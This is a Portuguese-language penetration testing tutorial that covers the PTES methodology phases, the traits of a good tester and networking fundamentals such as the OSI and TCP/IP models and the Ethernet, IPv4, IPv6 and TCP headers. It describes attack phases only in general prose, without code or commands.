Teste de penetração Python - Guia rápido

O teste de penetração ou teste de penetração pode ser definido como uma tentativa de avaliar a segurança de uma infraestrutura de TI, simulando um ataque cibernético contra o sistema de computador para explorar vulnerabilidades.

Qual é a diferença entre varredura de vulnerabilidade e teste de penetração? A varredura de vulnerabilidade simplesmente identifica as vulnerabilidades observadas e o teste de penetração, como dito anteriormente, é uma tentativa de explorar vulnerabilidades. O teste de penetração ajuda a determinar se o acesso não autorizado ou qualquer outra atividade maliciosa é possível no sistema.

Podemos realizar testes de penetração para servidores, aplicativos da web, redes sem fio, dispositivos móveis e qualquer outro ponto potencial de exposição usando tecnologias manuais ou automatizadas. Por causa do teste de penetração, se explorarmos qualquer tipo de vulnerabilidade, a mesma deve ser encaminhada à TI e ao gerente do sistema de rede para se chegar a uma conclusão estratégica.

Teste de significância de penetração (caneta)

Nesta seção, aprenderemos sobre a importância dos testes de penetração. Considere os seguintes pontos para saber sobre o significado -

Segurança da organização

A importância do teste de penetração pode ser entendida a partir do ponto em que fornece garantia para a organização com uma avaliação detalhada da segurança dessa organização.

Protegendo a confidencialidade da organização

Com a ajuda de testes de penetração, podemos identificar ameaças potenciais antes de enfrentar qualquer dano e proteger a confidencialidade dessa organização.

Implementação de políticas de segurança

O teste de penetração pode nos garantir a respeito da implementação da política de segurança em uma organização.

Gerenciando a eficiência da rede

Com a ajuda de testes de penetração, a eficiência da rede pode ser gerenciada. Ele pode examinar a segurança de dispositivos como firewalls, roteadores, etc.

Garantir a segurança da organização

Suponha que se desejamos implementar qualquer mudança no design da rede ou atualizar o software, hardware, etc., o teste de penetração garante a segurança da organização contra qualquer tipo de vulnerabilidade.

Quem é um bom pen tester?

Os testadores de penetração são profissionais de software que ajudam as organizações a fortalecer suas defesas contra ataques cibernéticos, identificando vulnerabilidades. Um testador de penetração pode usar técnicas manuais ou ferramentas automatizadas para teste.

Vamos agora considerar as seguintes características importantes de um bom testador de penetração -

Conhecimento de redes e desenvolvimento de aplicativos

Um bom pentester deve ter conhecimento de desenvolvimento de aplicativos, administração de banco de dados e rede, porque ele deverá lidar com as definições de configuração e também com a codificação.

Excelente pensador

Pentester deve ser um pensador excepcional e não hesitará em aplicar diferentes ferramentas e metodologias em uma tarefa específica para obter o melhor resultado.

Conhecimento do procedimento

Um bom pentester deve ter o conhecimento para estabelecer o escopo de cada teste de penetração, como seus objetivos, limitações e a justificativa dos procedimentos.

Tecnologia atualizada

Um pentester deve estar atualizado em suas habilidades tecnológicas porque pode haver qualquer mudança na tecnologia a qualquer momento.

Hábil na elaboração de relatórios

Depois de implementar com sucesso o teste de penetração, um pen tester deve mencionar todas as descobertas e riscos potenciais no relatório final. Portanto, ele deve ter boas habilidades para fazer relatórios.

Apaixonado por segurança cibernética

Uma pessoa apaixonada pode ter sucesso na vida. Da mesma forma, se uma pessoa é apaixonada por cyber valores mobiliários, ela pode se tornar um bom pen tester.

Escopo de teste de penetração

Vamos agora aprender sobre o escopo dos testes de penetração. Os dois tipos de teste a seguir podem definir o escopo do teste de penetração -

Teste não destrutivo (NDT)

Os testes não destrutivos não colocam o sistema em nenhum tipo de risco. O NDT é usado para encontrar defeitos, antes que se tornem perigosos, sem danificar o sistema, objeto, etc. Ao fazer o teste de penetração, o NDT executa as seguintes ações -

Varredura de sistemas remotos

Este teste verifica e identifica o sistema remoto para possíveis vulnerabilidades.

Verificação

Depois de encontrar vulnerabilidades, também faz a verificação de tudo o que for encontrado.

Utilização adequada do sistema remoto

No NDT, um pen tester utilizaria o sistema remoto de maneira adequada. Isso ajuda a evitar interrupções.

Note - Por outro lado, ao fazer o teste de penetração, o NDT não realiza Denial-of-Service (DoS) attack.

Teste destrutivo

Os testes destrutivos podem colocar o sistema em risco. É mais caro e requer mais habilidades do que o teste não destrutivo. Ao fazer o teste de penetração, o teste destrutivo executa as seguintes ações -

  • Denial-of-Service (DoS) attack - O teste destrutivo executa o ataque DoS.

  • Buffer overflow attack - Ele também executa o ataque de estouro de buffer que pode levar ao travamento do sistema.

O que instalar para praticar o teste de penetração?

As técnicas e ferramentas de teste de penetração devem ser executadas apenas em ambientes de sua propriedade ou em que você tenha permissão para executar essas ferramentas. Nunca devemos praticar essas técnicas em ambientes nos quais não estamos autorizados a fazê-lo porque o teste de penetração sem permissão é ilegal.

  • Podemos praticar o teste de penetração instalando um pacote de virtualização - ou VMware Player( www.vmware.com/products/player ) ouOracle VirtualBox -

    www.oracle.com/technetwork/server-storage/virtualbox/downloads/index.html

  • Também podemos criar máquinas virtuais (VMs) a partir da versão atual de -

    • Kali Linux ( www.kali.org/downloads/ )

    • Samurai Web Testing Framework (http://samurai.inguardians.com/)

    • Metasploitable ( www.offensivesecurity.com/metasploit-unleashed/Requirements )

Recentemente, tanto o governo quanto as organizações privadas consideraram a segurança cibernética uma prioridade estratégica. Os cibercriminosos freqüentemente fazem do governo e de organizações privadas seus alvos fáceis, usando diferentes vetores de ataque. Infelizmente, devido à falta de políticas eficientes, padrões e complexidade do sistema de informação, os cibercriminosos têm um grande número de alvos e estão obtendo sucesso na exploração do sistema e no roubo de informações.

O teste de penetração é uma estratégia que pode ser usada para mitigar os riscos de ataques cibernéticos. O sucesso do teste de penetração depende de uma metodologia de avaliação eficiente e consistente.

Temos uma variedade de metodologias de avaliação relacionadas aos testes de penetração. A vantagem de usar uma metodologia é que ela permite que os avaliadores avaliem um ambiente de forma consistente. A seguir estão algumas metodologias importantes -

  • Manual de metodologia de teste de segurança de código aberto (OSSTMM)

  • Open Web Application Security Project (OWASP)

  • Instituto Nacional de Padrões e Tecnologia (NIST)

  • Padrão de execução de teste de penetração (PTES)

O que é PTES?

O PTES, padrão de execução de testes de penetração, como o nome indica, é uma metodologia de avaliação para testes de penetração. Ele cobre tudo relacionado a um teste de penetração. Temos uma série de orientações técnicas, no PTES, relacionadas com os diversos ambientes que um avaliador pode encontrar. Essa é a maior vantagem de usar o PTES por novos avaliadores porque as diretrizes técnicas têm sugestões para abordar e avaliar o ambiente dentro das ferramentas padrão da indústria.

Na seção seguinte, conheceremos as diferentes fases do PTES.

Sete fases do PTES

O padrão de execução de teste de penetração (PTES) consiste em sete fases. Essas fases cobrem tudo relacionado a um teste de penetração - desde a comunicação inicial e raciocínio por trás de um pentest, até as fases de coleta de inteligência e modelagem de ameaça, onde os testadores estão trabalhando nos bastidores. Isso leva a um melhor entendimento da organização testada, por meio de pesquisa de vulnerabilidade, exploração e pós-exploração. Aqui, a experiência técnica de segurança dos testadores é combinada de forma crítica com o entendimento do negócio do contrato e, finalmente, com o relatório, que captura todo o processo, de uma maneira que faça sentido para o cliente e agregue mais valor a ele.

Aprenderemos sobre as sete fases do PTES em nossas seções subsequentes -

Fase de Interações Pré-engajamento

Esta é a primeira e muito importante fase do PTES. O objetivo principal desta fase é explicar as ferramentas e técnicas disponíveis, que auxiliam em uma etapa de pré-engajamento bem-sucedida de um teste de penetração. Qualquer erro durante a implementação desta fase pode ter um impacto significativo no restante da avaliação. Esta fase compreende o seguinte -

Pedido de avaliação

A primeira parte com que se inicia esta fase é a criação de um pedido de avaliação por parte da organização. UMARequest for Proposal (RFP) documento com os detalhes sobre o ambiente, tipo de avaliação exigida e as expectativas da organização é fornecido aos avaliadores.

Licitação

Agora, com base no RFP documento, várias empresas de avaliação ou Corporações de Responsabilidade Limitada (LLCs) individuais irão licitar e a parte, cuja licitação corresponda ao trabalho solicitado, o preço e alguns outros parâmetros específicos vencerá.

Carta de Assinatura de Compromisso (EL)

Agora, a entidade e a parte vencedora da licitação vão assinar um contrato de Carta de Engajamento (EL). A carta terá ostatement of work (SOW) e o produto final.

Reunião de escopo

Depois que a EL é assinada, o ajuste fino do escopo pode começar. Essas reuniões ajudam uma organização e o partido a ajustar um escopo específico. O objetivo principal da reunião de definição do escopo é discutir o que será testado.

Tratamento de aumento de escopo

O aumento do escopo é algo em que o cliente pode tentar adicionar ou estender o nível de trabalho prometido para obter mais do que prometeu pagar. É por isso que as modificações no escopo original devem ser cuidadosamente consideradas devido ao tempo e aos recursos. Ele também deve ser preenchido em algum formulário documentado, como e-mail, documento assinado ou carta autorizada, etc.

Questionários

Durante as comunicações iniciais com o cliente, existem várias perguntas que o cliente terá que responder para a estimativa adequada do escopo do trabalho. Essas perguntas foram elaboradas para fornecer um melhor entendimento do que o cliente espera ganhar com o teste de penetração; por que o cliente deseja que um teste de penetração seja executado em seu ambiente; e, se eles querem ou não certos tipos de testes realizados durante o teste de penetração.

Maneira de conduzir o teste

A última parte da fase de pré-engajamento é decidir o procedimento para conduzir o teste. Existem várias estratégias de teste, como caixa branca, caixa preta, caixa cinza, teste duplo-cego para escolher.

A seguir estão alguns exemplos de avaliações que podem ser solicitadas -

  • Teste de penetração na rede
  • Teste de penetração de aplicativo da web
  • Teste de penetração de rede sem fio
  • Teste de penetração física
  • Engenharia social
  • Phishing
  • Voice Over Internet Protocol (VOIP)
  • Rede interna
  • Rede externa

Fase de coleta de inteligência

A recolha de inteligência, a segunda fase do PTES, é onde realizamos o levantamento preliminar contra um alvo para recolher o máximo de informação possível para ser utilizada ao penetrar no alvo durante as fases de avaliação e exploração da vulnerabilidade. Ajuda as organizações a determinar a exposição externa pela equipe de avaliação. Podemos dividir a coleta de informações nos três níveis a seguir -

Coleta de informações de nível 1

Ferramentas automatizadas podem obter esse nível de informação quase inteiramente. O esforço de coleta de informações de nível 1 deve ser apropriado para atender ao requisito de conformidade.

Coleta de informações de nível 2

Esse nível de informação pode ser obtido usando ferramentas automatizadas do nível 1 junto com algumas análises manuais. Este nível precisa de um bom entendimento do negócio, incluindo informações como localização física, relacionamento comercial, organograma, etc. O esforço de coleta de informações de nível 2 deve ser apropriado para atender ao requisito de conformidade junto com outras necessidades, como estratégia de segurança de longo prazo, adquirir fabricantes menores, etc.

Coleta de informações de nível 3

Este nível de coleta de informações é usado no teste de penetração mais avançado. Todas as informações do nível 1 e do nível 2, juntamente com muitas análises manuais, são necessárias para a coleta de informações do nível 3.

Fase de modelagem de ameaças

Esta é a terceira fase do PTES. A abordagem de modelagem de ameaças é necessária para a execução correta do teste de penetração. A modelagem de ameaça pode ser usada como parte de um teste de penetração ou pode enfrentar com base em uma série de fatores. Caso estejamos usando modelagem de ameaça como parte do teste de penetração, as informações coletadas na segunda fase seriam revertidas para a primeira fase.

As etapas a seguir constituem a fase de modelagem de ameaça -

  • Reúna as informações necessárias e relevantes.

  • Precisa identificar e categorizar ativos primários e secundários.

  • Precisa identificar e categorizar ameaças e comunidades de ameaças.

  • Necessidade de mapear as comunidades de ameaças em relação aos ativos primários e secundários.

Comunidades e agentes de ameaças

A tabela a seguir lista as comunidades e agentes de ameaças relevantes, juntamente com sua localização na organização -

Localização interno Externo
Threat agents/communities Funcionários Parceiros de Negócios
Pessoas de gestão Empreiteiros
Administradores (rede, sistema) Concorrentes
Engenheiros Fornecedores
Técnicos Estados da nação
Comunidade geral de usuários Hackers

Ao fazer a avaliação da modelagem de ameaças, precisamos lembrar que a localização das ameaças pode ser interna. É necessário apenas um único e-mail de phishing ou um funcionário aborrecido que mantém a segurança da organização em jogo ao transmitir credenciais.

Fase de Análise de Vulnerabilidade

Esta é a quarta fase do PTES em que o avaliador identificará os alvos viáveis ​​para novos testes. Nas três primeiras fases do PTES, apenas os detalhes sobre a organização foram extraídos e o avaliador não tocou em nenhum recurso para teste. É a fase mais demorada do PTES.

As etapas a seguir constituem a Análise de Vulnerabilidade -

Teste de vulnerabilidade

Pode ser definido como o processo de descoberta de falhas, como configuração incorreta e designs de aplicativos inseguros nos sistemas e aplicativos de host e serviços. O testador deve definir o escopo adequado do teste e o resultado desejado antes de conduzir a análise de vulnerabilidade. O teste de vulnerabilidade pode ser dos seguintes tipos -

  • Teste ativo
  • Teste Passivo

Discutiremos os dois tipos em detalhes em nossas seções subsequentes.

Teste ativo

Envolve interação direta com o componente que está sendo testado quanto a vulnerabilidades de segurança. Os componentes podem estar em baixo nível, como a pilha TCP em um dispositivo de rede, ou em alto nível, como a interface baseada na web. O teste ativo pode ser feito das seguintes maneiras -

Teste ativo automatizado

Ele utiliza o software para interagir com um alvo, examinar respostas e determinar com base nessas respostas se uma vulnerabilidade no componente está presente ou não. A importância do teste ativo automatizado em comparação com o teste ativo manual pode ser percebida pelo fato de que, se houver milhares de portas TCP em um sistema e precisarmos conectar todas elas manualmente para o teste, isso levaria um tempo consideravelmente enorme. No entanto, fazer isso com ferramentas automatizadas pode reduzir muito tempo e requisitos de mão de obra. Varredura de vulnerabilidade de rede, varredura de porta, captura de banner e varredura de aplicativo da web podem ser feitas com a ajuda de ferramentas de teste ativas automatizadas.

Teste ativo manual

O teste efetivo manual é mais eficaz quando comparado ao teste ativo automatizado. A margem de erro sempre existe com processo ou tecnologia automatizada. É por isso que é sempre recomendado executar conexões diretas manuais para cada protocolo ou serviço disponível em um sistema de destino para validar o resultado do teste automatizado.

Teste Passivo

O teste passivo não envolve interação direta com o componente. Pode ser implementado com a ajuda das duas técnicas a seguir -

Análise de Metadados

Essa técnica envolve examinar os dados que descrevem o arquivo, e não os dados do próprio arquivo. Por exemplo, o arquivo MS Word contém os metadados em termos de nome do autor, nome da empresa, data e hora em que o documento foi modificado e salvo pela última vez. Haveria um problema de segurança se um invasor pudesse obter acesso passivo aos metadados.

Monitoramento de tráfego

Pode ser definido como a técnica de conexão a uma rede interna e captura de dados para análise offline. É usado principalmente para capturar o“leaking of data” em uma rede comutada.

Validação

Após o teste de vulnerabilidade, a validação das descobertas é muito necessária. Isso pode ser feito com a ajuda das seguintes técnicas -

Correlação entre ferramentas

Se um avaliador está fazendo testes de vulnerabilidade com várias ferramentas automatizadas, para validar as descobertas, é muito necessário ter uma correlação entre essas ferramentas. As descobertas podem se tornar complicadas se não houver esse tipo de correlação entre as ferramentas. Ele pode ser dividido em correlação específica de itens e correlação categórica de itens.

Validação específica de protocolo

A validação também pode ser feita com a ajuda de protocolos. VPN, Citrix, DNS, Web, servidor de e-mail podem ser usados ​​para validar as descobertas.

Pesquisa

Após a descoberta e validação da vulnerabilidade em um sistema, é essencial determinar a precisão da identificação do problema e pesquisar a potencial explorabilidade da vulnerabilidade no escopo do teste de penetração. A pesquisa pode ser feita publicamente ou em particular. Ao fazer pesquisas públicas, o banco de dados de vulnerabilidades e os avisos do fornecedor podem ser usados ​​para verificar a precisão de um problema relatado. Por outro lado, ao fazer pesquisa privada, um ambiente de réplica pode ser definido e técnicas como configurações de difusão ou teste podem ser aplicadas para verificar a precisão de um problema relatado.

Fase de Exploração

Esta é a quinta fase do PTES. Esta fase se concentra em obter acesso ao sistema ou recurso, contornando as restrições de segurança. Nesta fase, todo o trabalho realizado nas fases anteriores leva ao acesso ao sistema. Existem alguns termos comuns usados ​​a seguir para obter acesso ao sistema -

  • Popped
  • Shelled
  • Cracked
  • Exploited

O login do sistema, em fase de exploração, pode ser feito com a ajuda de código, exploit remoto, criação de exploit, contornando antivírus ou pode ser tão simples quanto fazer login através de credenciais fracas. Após obter o acesso, ou seja, após identificar o ponto de entrada principal, o avaliador deve se concentrar na identificação dos ativos alvo de alto valor. Se a fase de análise de vulnerabilidade foi concluída corretamente, uma lista de alvos de alto valor deve ter sido preenchida. Em última análise, o vetor de ataque deve levar em consideração a probabilidade de sucesso e o maior impacto na organização.

Fase Pós-Exploração

Esta é a sexta fase do PTES. Um avaliador realiza as seguintes atividades nesta fase -

Análise de infraestrutura

A análise de toda a infraestrutura utilizada durante o teste de penetração é feita nesta fase. Por exemplo, a análise de rede ou configuração de rede pode ser feita com a ajuda de interfaces, roteamento, servidores DNS, entradas DNS em cache, servidores proxy, etc.

Pilhagem

Pode ser definido como a obtenção de informações de hosts alvo. Essas informações são relevantes para os objetivos definidos na fase de pré-avaliação. Essas informações podem ser obtidas a partir de programas instalados, servidores específicos como servidores de banco de dados, impressora, etc. no sistema.

Exfiltração de dados

Nessa atividade, o avaliador deve fazer o mapeamento e testar todos os caminhos de exfiltração possíveis para que a medição da força do controle, ou seja, detectar e bloquear informações confidenciais da organização, possa ser realizada.

Criando persistência

Esta atividade inclui a instalação de backdoor que requer autenticação, reinicialização de backdoors quando necessário e criação de contas alternativas com senhas complexas.

Limpar

Como o nome sugere, este processo cobre os requisitos para limpar o sistema assim que o teste de penetração for concluído. Esta atividade inclui o retorno aos valores originais das configurações do sistema, parâmetros de configuração do aplicativo e a remoção de todos os backdoor instalados e quaisquer contas de usuário criadas.

Comunicando

Esta é a fase final e mais importante do PTES. Aqui, o cliente paga com base no relatório final após a conclusão do teste de penetração. O relatório é basicamente um espelho das constatações feitas pelo avaliador sobre o sistema. A seguir estão as partes essenciais de um bom relatório -

Sumário executivo

Este é um relatório que comunica ao leitor sobre os objetivos específicos do teste de penetração e as descobertas de alto nível do exercício de teste. O público-alvo pode ser um membro do conselho consultivo da suíte principal.

Enredo

O relatório deve conter um enredo, que explicará o que foi feito durante o trabalho, as descobertas ou fraquezas de segurança reais e os controles positivos que a organização estabeleceu.

Prova de conceito / relatório técnico

A prova de conceito ou relatório técnico deve consistir nos detalhes técnicos do teste e todos os aspectos / componentes acordados como indicadores-chave de sucesso dentro do exercício de pré-engajamento. A seção de relatório técnico descreverá em detalhes o escopo, as informações, o caminho de ataque, o impacto e as sugestões de remediação do teste.

Sempre ouvimos que, para realizar testes de penetração, um pentester deve estar ciente dos conceitos básicos de rede, como endereços IP, sub-redes classful, sub-redes classless, portas e redes de transmissão. A primeira razão é que atividades como quais hosts estão ativos no escopo aprovado e quais serviços, portas e recursos eles têm abertos e responsivos determinarão que tipo de atividades um avaliador realizará no teste de penetração. O ambiente está sempre mudando e os sistemas são frequentemente realocados. Portanto, é bem possível que vulnerabilidades antigas apareçam novamente e, sem o bom conhecimento de varredura de uma rede, pode acontecer que as varreduras iniciais tenham que ser refeitas. Em nossas seções subsequentes, discutiremos os fundamentos da comunicação em rede.

Modelo de referência

O Modelo de Referência oferece um meio de padronização, que é aceitável em todo o mundo, pois as pessoas que usam a rede de computadores estão localizadas em uma ampla faixa física e seus dispositivos de rede podem ter arquitetura heterogênea. Para fornecer comunicação entre dispositivos heterogêneos, precisamos de um modelo padronizado, ou seja, um modelo de referência, que nos forneceria uma maneira de esses dispositivos se comunicarem.

Temos dois modelos de referência, como o modelo OSI e o modelo de referência TCP / IP. No entanto, o modelo OSI é hipotético, mas o TCP / IP é um modelo prático.

Modelo OSI

A Interface de Sistema Aberto foi projetada pela Organização Internacional de Padronização (ISO) e, portanto, também é chamada de Modelo ISO-OSI.

O modelo OSI consiste em sete camadas, conforme mostrado no diagrama a seguir. Cada camada tem uma função específica, porém cada camada fornece serviços para a camada acima.

Camada física

A camada física é responsável pelas seguintes atividades -

  • Ativando, mantendo e desativando a conexão física.

  • Definindo tensões e taxas de dados necessárias para a transmissão.

  • Convertendo bits digitais em sinal elétrico.

  • Decidir se a conexão é simplex, half-duplex ou full-duplex.

Camada de link de dados

A camada de link de dados executa as seguintes funções -

  • Executa sincronização e controle de erros para as informações que devem ser transmitidas pelo link físico.

  • Ativa a detecção de erros e adiciona bits de detecção de erros aos dados a serem transmitidos.

Camada de rede

A camada de rede executa as seguintes funções -

  • Para encaminhar os sinais através de vários canais para a outra extremidade.

  • Atuar como o controlador da rede, decidindo qual rota os dados devem seguir.

  • Para dividir as mensagens de saída em pacotes e para montar os pacotes de entrada em mensagens para níveis superiores.

Camada de transporte

A camada de transporte executa as seguintes funções -

  • Ele decide se a transmissão de dados deve ocorrer em caminhos paralelos ou em caminho único.

  • Ele executa a multiplexação, dividindo os dados.

  • Ele divide os grupos de dados em unidades menores para que sejam tratados com mais eficiência pela camada de rede.

A camada de transporte garante a transmissão de dados de uma extremidade à outra.

Camada de Sessão

A camada de sessão executa as seguintes funções -

  • Gerencia as mensagens e sincroniza as conversas entre dois aplicativos diferentes.

  • Ele controla o logon e logoff, identificação do usuário, faturamento e gerenciamento de sessão.

Camada de apresentação

A camada de apresentação executa as seguintes funções -

  • Essa camada garante que a informação seja entregue de tal forma que o sistema receptor a compreenda e use.

Camada de aplicação

A camada de aplicativo executa as seguintes funções -

  • Oferece diversos serviços como manipulação da informação de diversas formas, retransferência dos arquivos de informação, distribuição dos resultados, etc.

  • As funções como LOGIN ou verificação de senha também são realizadas pela camada de aplicativo.

Modelo TCP / IP

O modelo de Protocolo de Controle de Transmissão e Protocolo de Internet (TCP / IP) é um modelo prático e é usado na Internet.

O modelo TCP / IP combina as duas camadas (camada física e de enlace de dados) em uma camada - camada Host-to-Network. O diagrama a seguir mostra as várias camadas do modelo TCP / IP -

Camada de aplicação

Esta camada é a mesma do modelo OSI e executa as seguintes funções -

  • Oferece diversos serviços como manipulação da informação de diversas formas, retransferência dos arquivos de informação, distribuição dos resultados, etc.

  • A camada de aplicativo também executa funções como LOGIN ou verificação de senha.

  • A seguir estão os diferentes protocolos usados ​​na camada de aplicação -

    • TELNET
    • FTP
    • SMTP
    • DN
    • HTTP
    • NNTP

Camada de transporte

Ele executa as mesmas funções da camada de transporte no modelo OSI. Considere os seguintes pontos importantes relacionados à camada de transporte -

  • Ele usa os protocolos TCP e UDP para transmissão de ponta a ponta.

  • O TCP é um protocolo confiável e orientado a conexões.

  • O TCP também lida com o controle de fluxo.

  • O UDP não é confiável e um protocolo sem conexão não executa o controle de fluxo.

  • Os protocolos TCP / IP e UDP são empregados nesta camada.

Camada de Internet

A função dessa camada é permitir que o host insira pacotes na rede e, em seguida, faça-os viajar de forma independente para o destino. No entanto, a ordem de recebimento do pacote pode ser diferente da sequência em que foram enviados.

O protocolo da Internet (IP) é empregado na camada da Internet.

Camada Host-to-Network

Esta é a camada mais baixa do modelo TCP / IP. O host precisa se conectar à rede usando algum protocolo, para que possa enviar pacotes IP por meio dele. Este protocolo varia de host para host e de rede para rede.

Os diferentes protocolos usados ​​nesta camada são -

  • ARPANET
  • SATNET
  • LAN
  • Rádio de pacote

Arquitetura Útil

A seguir estão algumas arquiteturas úteis, que são usadas na comunicação de rede -

A arquitetura de frame Ethernet

Um engenheiro chamado Robert Metcalfe inventou a rede Ethernet, definida pelo padrão IEEE 802.3, em 1973. Ela foi usada pela primeira vez para interconectar e enviar dados entre a estação de trabalho e a impressora. Mais de 80% das LANs utilizam o padrão Ethernet por sua velocidade, menor custo e facilidade de instalação. Por outro lado, se falamos sobre quadro, os dados viajam de host para host no caminho. Um quadro é constituído por vários componentes, como endereço MAC, cabeçalho de IP, delimitador de início e fim, etc.

O quadro Ethernet começa com Preâmbulo e SFD. O cabeçalho Ethernet contém os endereços MAC de origem e destino, após o qual a carga do quadro está presente. O último campo é CRC, que é usado para detectar o erro. A estrutura básica do frame Ethernet é definida no padrão IEEE 802.3, que é explicado a seguir -

O formato de quadro Ethernet (IEEE 802.3)

O pacote Ethernet transporta um quadro Ethernet como sua carga útil. A seguir está uma representação gráfica do quadro Ethernet junto com a descrição de cada campo -

Nome do Campo Preâmbulo SFD (delimitador de início de quadro) Destino MAC MAC de origem Tipo Dados CRC
Tamanho (em bytes) 7 1 6 6 2 46-1500 4

Preâmbulo

Um quadro Ethernet é precedido por um preâmbulo de 7 bytes de tamanho, que informa ao sistema receptor que um quadro está iniciando e permite que tanto o remetente quanto o receptor estabeleçam a sincronização de bits.

SFD (delimitador de início de quadro)

Este é um campo de 1 byte usado para indicar que o campo de endereço MAC de destino começa com o próximo byte. Às vezes, o campo SFD é considerado parte do Preâmbulo. É por isso que o preâmbulo é considerado 8 bytes em muitos lugares.

  • Destination MAC - Este é um campo de 6 bytes em que temos o endereço do sistema receptor.

  • Source MAC - Este é um campo de 6 bytes em que temos o endereço do sistema de envio.

  • Type- Define o tipo de protocolo dentro do quadro. Por exemplo, IPv4 ou IPv6. Seu tamanho é de 2 bytes.

  • Data- Isso também é chamado de carga útil e os dados reais são inseridos aqui. Seu comprimento deve ser entre 46-1500 bytes. Se o comprimento for inferior a 46 bytes, o preenchimento de 0 é adicionado para atender ao comprimento mínimo possível, ou seja, 46.

  • CRC (Cyclic Redundancy Check) - Este é um campo de 4 bytes contendo CRC de 32 bits, que permite a detecção de dados corrompidos.

Formato Extended Ethernet Frame (Ethernet II frame)

A seguir está uma representação gráfica do quadro Ethernet estendido usando o qual podemos obter Payload maior do que 1500 bytes -

Nome do Campo Destino MAC MAC de origem Tipo DSAP SSAP Ctrl Dados CRC
Tamanho (em bytes) 6 6 2 1 1 1 > 46 4

A descrição dos campos, que são diferentes do quadro Ethernet IEEE 802.3, é a seguinte -

DSAP (Ponto de Acesso do Serviço de Destino)

DSAP é um campo de 1 byte que representa os endereços lógicos da entidade da camada de rede destinada a receber a mensagem.

SSAP (ponto de acesso do serviço de origem)

SSAP é um campo de 1 byte que representa o endereço lógico da entidade da camada de rede que criou a mensagem.

Ctrl

Este é um campo de controle de 1 byte.

A arquitetura de pacotes IP

O protocolo da Internet é um dos principais protocolos do conjunto de protocolos TCP / IP. Este protocolo funciona na camada de rede do modelo OSI e na camada de Internet do modelo TCP / IP. Assim, este protocolo tem a responsabilidade de identificar hosts com base em seus endereços lógicos e rotear os dados entre eles pela rede subjacente. O IP fornece um mecanismo para identificar hosts de maneira exclusiva por meio de um esquema de endereçamento IP. O IP usa a entrega de melhor esforço, ou seja, não garante que os pacotes sejam entregues ao host de destino, mas fará o possível para chegar ao destino.

Em nossas seções subsequentes, aprenderemos sobre as duas versões diferentes de IP.

IPv4

Este é o protocolo da Internet versão 4, que usa um endereço lógico de 32 bits. A seguir está o diagrama do cabeçalho IPv4 junto com a descrição dos campos -

Versão

Esta é a versão do protocolo da Internet usado; por exemplo, IPv4.

IHL

Comprimento do cabeçalho da Internet; comprimento de todo o cabeçalho IP.

DSCP

Ponto de Código de Serviços Diferenciados; este é o tipo de serviço.

ECN

Notificação explícita de congestionamento; ele carrega informações sobre o congestionamento visto na rota.

Comprimento total

O comprimento de todo o pacote IP (incluindo cabeçalho IP e carga útil IP).

Identificação

Se o pacote IP for fragmentado durante a transmissão, todos os fragmentos conterão o mesmo número de identificação.

Bandeiras

Conforme exigido pelos recursos de rede, se o pacote IP for muito grande para ser manipulado, esses 'sinalizadores' informam se eles podem ser fragmentados ou não. Neste sinalizador de 3 bits, o MSB é sempre definido como '0'.

Fragment Offset

Este deslocamento informa a posição exata do fragmento no pacote IP original.

Tempo de Viver

Para evitar o loop na rede, cada pacote é enviado com algum conjunto de valores TTL, que informa à rede quantos roteadores (saltos) esse pacote pode cruzar. A cada salto, seu valor é diminuído em um e quando o valor chega a zero, o pacote é descartado.

Protocolo

Diz à camada de rede no host de destino a qual protocolo esse pacote pertence, ou seja, o protocolo de próximo nível. Por exemplo, o número do protocolo de ICMP é 1, TCP é 6 e UDP é 17.

Header Checksum

Este campo é usado para manter o valor de checksum de todo o cabeçalho, que é então usado para verificar se o pacote foi recebido sem erros.

Endereço de Origem

Endereço de 32 bits do remetente (ou origem) do pacote.

Endereço de Destino

Endereço de 32 bits do receptor (ou destino) do pacote.

Opções

Este é um campo opcional, que é usado se o valor de IHL for maior que 5. Essas opções podem conter valores para opções como Segurança, Rota de registro, Carimbo de data / hora, etc.

Se você deseja estudar o IPv4 em detalhes, consulte este link - www.tutorialspoint.com/ipv4/index.htm

IPv6

O Internet Protocol versão 6 é o protocolo de comunicação mais recente, que como seu predecessor IPv4 funciona na Camada de Rede (Layer-3). Junto com a oferta de uma enorme quantidade de espaço de endereçamento lógico, este protocolo possui amplos recursos, que abordam a lacuna do IPv4. A seguir está o diagrama do cabeçalho IPv4 junto com a descrição dos campos -

Versão (4 bits)

Representa a versão do Internet Protocol - 0110.

Classe de tráfego (8 bits)

Esses 8 bits são divididos em duas partes. Os 6 bits mais significativos são usados ​​para o tipo de serviço para permitir que o roteador saiba quais serviços devem ser fornecidos a este pacote. Os 2 bits menos significativos são usados ​​para Notificação explícita de congestionamento (ECN).

Etiqueta de fluxo (20 bits)

Este rótulo é usado para manter o fluxo sequencial dos pacotes pertencentes a uma comunicação. A origem rotula a sequência para ajudar o roteador a identificar que um determinado pacote pertence a um fluxo específico de informações. Este campo ajuda a evitar a reordenação de pacotes de dados. Ele é projetado para streaming / mídia em tempo real.

Comprimento da carga útil (16 bits)

Este campo é usado para informar aos roteadores quantas informações um determinado pacote contém em sua carga útil. A carga útil é composta de cabeçalhos de extensão e dados da camada superior. Com 16 bits, podem ser indicados até 65535 bytes; mas se os Cabeçalhos de Extensão contiverem Cabeçalho de Extensão Hop-by-Hop, a carga útil pode exceder 65535 bytes e este campo é definido como 0.

Próximo cabeçalho (8 bits)

Esse campo é usado para indicar o tipo de cabeçalho de extensão ou, se o cabeçalho de extensão não estiver presente, ele indica a PDU da camada superior. Os valores para o tipo de PDU de camada superior são iguais aos do IPv4.

Limite de salto (8 bits)

Este campo é usado para interromper o loop de pacotes na rede infinitamente. É o mesmo que TTL no IPv4. O valor do campo Hop Limit é diminuído em 1 conforme ele passa por um link (roteador / salto). Quando o campo atinge 0, o pacote é descartado.

Endereço de origem (128 bits)

Este campo indica o endereço do originador do pacote.

Endereço de destino (128 bits)

Este campo fornece o endereço do destinatário pretendido do pacote.

Se você deseja estudar o IPv6 em detalhes, consulte este link - www.tutorialspoint.com/ipv6/index.htm

A arquitetura do cabeçalho TCP (Transmission Control Protocol)

Como sabemos, o TCP é um protocolo orientado à conexão, no qual uma sessão é estabelecida entre dois sistemas antes de iniciar a comunicação. A conexão será encerrada assim que a comunicação for concluída. O TCP usa uma técnica de handshake de três vias para estabelecer o soquete de conexão entre dois sistemas. O handshake de três vias significa que três mensagens - SYN, SYN-ACK e ACK, são enviadas e recebidas entre dois sistemas. As etapas de trabalho entre dois sistemas, sistemas iniciais e de destino, são as seguintes -

Step 1 − Packet with SYN flag set

Em primeiro lugar, o sistema que está tentando iniciar uma conexão começa com um pacote que tem o sinalizador SYN definido.
